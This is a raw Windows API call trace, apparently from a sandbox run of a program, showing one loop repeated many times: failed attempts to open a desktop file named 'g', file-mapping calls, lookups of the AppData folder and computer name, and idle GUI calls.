[0189.048] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.048] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.048] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.048] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.048] CloseHandle (hObject=0x0) returned 0 [0189.048] CloseHandle (hObject=0xffffffff) returned 1 [0189.048] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.048] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.048] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.048] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.048] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.049] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.049] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.049] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.049] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.049] CloseHandle (hObject=0x0) returned 0 [0189.071] CloseHandle (hObject=0xffffffff) returned 1 [0189.071] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.071] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.071] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.071] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.071] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.071] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.071] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.071] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.071] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.071] CloseHandle (hObject=0x0) returned 0 [0189.071] CloseHandle (hObject=0xffffffff) returned 1 [0189.071] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.071] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.071] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.071] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.071] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.071] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.072] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.072] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.072] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.072] CloseHandle (hObject=0x0) returned 0 [0189.072] CloseHandle (hObject=0xffffffff) returned 1 [0189.072] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.072] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.072] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.072] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.072] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.072] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.072] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.072] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.072] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.072] CloseHandle (hObject=0x0) returned 0 [0189.072] CloseHandle (hObject=0xffffffff) returned 1 [0189.072] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.072] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.072] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.072] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.072] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.072] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.073] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.073] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.073] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.073] CloseHandle (hObject=0x0) returned 0 [0189.073] CloseHandle (hObject=0xffffffff) returned 1 [0189.073] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.073] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.073] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.073] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.073] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.073] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.073] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.073] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.073] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.073] CloseHandle (hObject=0x0) returned 0 [0189.073] CloseHandle (hObject=0xffffffff) returned 1 [0189.073] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.073] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.073] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.073] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.073] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.073] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.073] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.073] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.073] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.073] CloseHandle (hObject=0x0) returned 0 [0189.074] CloseHandle (hObject=0xffffffff) returned 1 [0189.074] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.074] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.074] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.074] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.074] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.074] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.074] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.074] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.074] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.074] CloseHandle (hObject=0x0) returned 0 [0189.074] CloseHandle (hObject=0xffffffff) returned 1 [0189.074] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.074] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.074] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.074] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.074] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.074] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.074] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.074] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.074] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.074] CloseHandle (hObject=0x0) returned 0 [0189.075] CloseHandle (hObject=0xffffffff) returned 1 [0189.075] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.075] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.075] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.075] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.075] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.075] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.075] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.075] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.075] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.075] CloseHandle (hObject=0x0) returned 0 [0189.075] CloseHandle (hObject=0xffffffff) returned 1 [0189.075] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.075] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.075] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.075] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.075] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.075] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.075] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.075] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.075] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.076] CloseHandle (hObject=0x0) returned 0 [0189.076] CloseHandle (hObject=0xffffffff) returned 1 [0189.076] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.076] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.076] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.076] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.076] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.076] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.076] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.076] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.076] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.076] CloseHandle (hObject=0x0) returned 0 [0189.076] CloseHandle (hObject=0xffffffff) returned 1 [0189.076] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.076] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.076] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.076] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.076] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.076] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.076] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.077] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.077] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.077] CloseHandle (hObject=0x0) returned 0 [0189.077] CloseHandle (hObject=0xffffffff) returned 1 [0189.077] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.077] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.077] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.077] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.077] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.077] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.077] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.077] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.077] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.077] CloseHandle (hObject=0x0) returned 0 [0189.077] CloseHandle (hObject=0xffffffff) returned 1 [0189.077] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.077] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.077] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.077] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.077] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.077] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.077] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.078] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.078] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.078] CloseHandle (hObject=0x0) returned 0 [0189.078] CloseHandle (hObject=0xffffffff) returned 1 [0189.078] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.078] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.078] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.078] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.078] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.078] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.078] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.078] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.078] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.078] CloseHandle (hObject=0x0) returned 0 [0189.078] CloseHandle (hObject=0xffffffff) returned 1 [0189.078] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.078] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.078] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.078] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.078] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.078] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.078] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.078] 